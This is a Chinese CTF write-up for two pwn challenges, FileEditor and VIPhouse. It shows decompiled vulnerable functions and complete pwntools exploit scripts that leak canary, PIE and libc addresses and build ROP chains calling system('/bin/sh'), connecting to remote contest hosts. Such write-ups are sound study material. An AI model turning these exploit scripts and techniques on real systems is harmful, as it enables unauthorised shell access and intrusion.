DASCTF 2023 & 0X401七月暑期挑战赛 pwn

链接:https://pan.baidu.com/s/15LFJ4XykHz3bax3CAnJl3A
提取码:hwg0

FileEditor

struct{
DWORD line_num
char string[204]
void *next_ptr
}

Find_String里会把原来的字符串先拷贝到栈,最后再拷贝回去,只要控制a2 + 104处为0,a2不为0就可以把栈上的值拷贝回到原来存储字符串的堆上,这里就完全符合canary最后一位为\x00的特性

char *__fastcall vuln_copy(char *a1, __int64 a2)
{
char *result; // rax
int i; // [rsp+1Ch] [rbp-4h]

if ( *(_BYTE *)(a2 + 104) )
return strcpy(a1, (const char *)a2);
result = (char *)*(unsigned __int8 *)(a2 + 105);
if ( !(_BYTE)result )
return strcpy(a1, (const char *)a2);
for ( i = 0; i <= 179; ++i )
{
result = (char *)*(unsigned __int8 *)(i + a2);
if ( (_BYTE)result == 0xFF )
break;
result = (char *)*(unsigned __int8 *)(i + a2);
a1[i] = (char)result;
}
return result;
}

Find_String时栈情况,可以用来泄露基地址

image-20230724230450343

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libc=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','28327')
else:
io = process(pwnfile)
# pause()
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
def Insert_Line(line_num,line_count,content):
sla(b'> choose:',b'3')
sla(b'r n m:',str(line_num).encode())
sl(str(line_count).encode())
sla(b'sequence:',content)
def Modify_Line(line_num,content):
sla(b'> choose:',b'6')
sla(b'be modified:',str(line_num).encode())
sla(b' content:',content)
def findstring(find_str):
sla(b'> choose:',b'7')
sla(b'search for:',find_str)
sla(b'hing? (y/n)',b'n')
def show():
sla(b'> choose:',b'2')
# db('b *$rebase(0x2154)')
# db('b *$rebase(0x001FA4)')
# db('b *$rebase(0x02350)')
sla(b'> choose:',b'1')
Insert_Line(1,1,b'abc'+b'd'*101)
findstring(b'abc')
Modify_Line(1,b'abc'+b'd'*101)
show()
ru(b'abc'+b'd'*101)
canary=uu64(r(8))-0xa
p('canary',canary)
Modify_Line(1,b'abc'+b'd'*101+b'a'*8+b'A'*7)
show()
ru(b'A'*7+b'\n')
pie=uu64(r(6))-(0x55555555552b-0x555555554000)
p('pie',pie)

Modify_Line(1,b'abc'+b'd'*101+b'a'*32+b'A'*7)
show()
ru(b'A'*7+b'\n')
heapbase=uu64(r(6))-(0x55555555a2a0-0x55555555a000)
p('heapbase',heapbase)

Modify_Line(1,b'abc'+b'd'*101+b'a'*56+b'A'*7)
show()
ru(b'A'*7+b'\n')
libcbase=uu64(r(6))-(0x7ffff7de5083-0x7ffff7dc1000)#ubuntu20
# -(0x7ffff7c29d90-0x7ffff7c00000)#unbuntu22
p('libcbase',libcbase)
system=libcbase+libc.sym['system']
binsh=next(libc.search(b'/bin/sh'))+libcbase
rdi=pie+0x2ac3
ret=pie+0x101a
rop=flat([canary,0,rdi,binsh,ret,system])
print(rop)
# rop=p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system)
# print(rop)
Modify_Line(1,b'abc'+b'd'*101+rop)
findstring(b'abc')
io.interactive()

另一个可以泄露的漏洞点在Replace_String函数里

char v14[104]; // [rsp+130h] [rbp-70h] BYREF
unsigned __int64 v15; // [rsp+198h] [rbp-8h]

v15 = __readfsqword(0x28u);
v4 = 0;
v5 = 1;
v7 = 1;
v9 = a1;
puts("> Please enter the string to search for:");
read_string((__int64)s2, 104);
puts("> Replace with:");
read_string((__int64)v14, 104);
__int64 __fastcall read_string(__int64 a1, int a2)
{
unsigned int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

for ( i = 0; (int)i <= a2; ++i )
{
v4 = read(0, (void *)((int)i + a1), 1uLL);
if ( v4 < 0 )
{
perror("read");
exit(-1);
}
if ( !v4 )
break;
if ( *(_BYTE *)((int)i + a1) == 10 )
{
*(_BYTE *)((int)i + a1) = 0;
return i;
}
}
return i;
}

read_string实际上可以往里读105个数,来覆盖canary最后一位

v11 = sub_55EAC947338F(s2, v14, v9->string);
strcpy(v9->string, v11);

可以把canary保存到存储字符串去来泄露

最后在利用下面的read_string里的/n会被置零,来恢复canary

puts("> Do you want to change your strings? (y/n)");
getchar();
__isoc99_scanf("%c");
if ( v3 == 'Y' || v3 == 'y' )
{
puts("> Replace with:");
getchar();
read_string((__int64)v14, 104);
}

有了canary其实就可以在Find_String里构造rop利用puts来泄露libc了,高版本的栈里是libc_start_call_main基本上没有工具可以寻找libc库

VIPhouse

login存在溢出

unsigned __int64 login()
{
char s[100]; // [rsp+0h] [rbp-2A0h] BYREF
int v2; // [rsp+64h] [rbp-23Ch] BYREF
char v3[64]; // [rsp+258h] [rbp-48h] BYREF
unsigned __int64 v4; // [rsp+298h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(&v2, 0, 0x1F4uLL);
memset(v3, 0, sizeof(v3));
memset(s, 0, sizeof(s));
printf("Please enter your username: ");
get_str(s, 99LL);
printf("Please enter your password: ");
get_str(v3, 104LL);
if ( !strcmp(s, "admin") && !strcmp(v3, "root") )
{
puts("Welcome, ADMIN~");
admin = 1;
}
user = 1;
return v4 - __readfsqword(0x28u);
}

canary function里 用strcpy(s, random);给s赋值,random存在开头为0情况,导致s为b’\x00’*8,可以泄露canary

程序里没有gadget直接给rdi赋值,可以用下面来赋值

__int64 __fastcall Add_Note(int a1)
{
if ( a1 == 1 )
{
puts("Please delete at first!");
return 1LL;
}
else
{
ptr = (char *)malloc(0x30uLL);
if ( !ptr )
{
puts("Failed to allocate memory.");
exit(1);
}
printf("Enter your note: ");
get_str((__int64)ptr, 8);
if ( ptr )
strcpy(dest, ptr);
puts("Note added.");
return 1LL;
}
}

Add_Note函数会把输入放到dest地址指向的内存

.text:0000000000401CB2 55                            push    rbp
.text:0000000000401CB3 48 89 E5 mov rbp, rsp
.text:0000000000401CB6 48 8D 05 73 24 00 00 lea rax, dest;把dest地址给rax
.text:0000000000401CBD 48 89 C7 mov rdi, rax
.text:0000000000401CC0 48 8B 3F mov rdi, [rdi];把dest地址指向的内存也就是我们的addnote函数里的输入给rdi
.text:0000000000401CC3 C3 retn
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./viphouse'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libcelf=elf.libc
if args['REMOTE']:
io = remote()
else:
print(1)
# io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
def choice(a):
io.sendlineafter('Choose an option: ',str(a).encode())
def login(a,b):
choice(1)
io.sendlineafter(': ',a)
io.sendlineafter(': ',b)
def logout():
choice(5)
def add(a):
choice(3)
io.sendlineafter('Choice: ','1')
io.sendlineafter('note: ',a)
# login(b'admin\x00',b'root\x00')

# b()
while(True):
# io = process(pwnfile)
io = remote('118.24.31.155','9999')
# nc 118.24.31.155 9999
login(b'admin\x00',b'root\x00')
io.sendlineafter(b': ', b'4')
io.sendafter(b': \n', b'\0' * 0x10)
result = io.recvuntil(b'\n')
if b'give you a gif' in result:
break
else:
io.close()
# db('b *0x0401AC3')

add(p64(elf.got['puts']))
io.sendlineafter('Choice: ','3')
canary = int(result.split(b'!')[1], 16)
p('canary',canary)
ret_ad=0x4012D0
setrdi=0x0401CB6
paylaod=0x40*b'a'+flat([canary,0,setrdi,elf.plt['puts'],ret_ad])
logout()
login(b'admin',paylaod)
puts_ad=uu64(r(6))
libcbase=find_libc('puts',puts_ad)
libcelf.address=libcbase
pop_rdi_ret=next(libcelf.search(asm('pop rdi;ret')))
print(pop_rdi_ret)
binsh=libc.dump('str_bin_sh')+libcbase
system=libc.dump('system')+libcbase
p('system',system)
add(p64(binsh))
io.sendlineafter('Choice: ','3')
logout()
print(hex(rop.ret.address))
payload=0x40*b'a'+flat([canary,0,setrdi,system])#最后用pop rdi给system参数赋值的话,由于栈地址对齐需要垫一个ret,溢出长度会不够
login(b'admin',payload)
io.interactive()